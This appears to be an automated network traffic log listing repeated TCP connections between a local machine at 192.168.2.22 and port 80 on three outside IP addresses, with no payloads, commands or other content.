Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
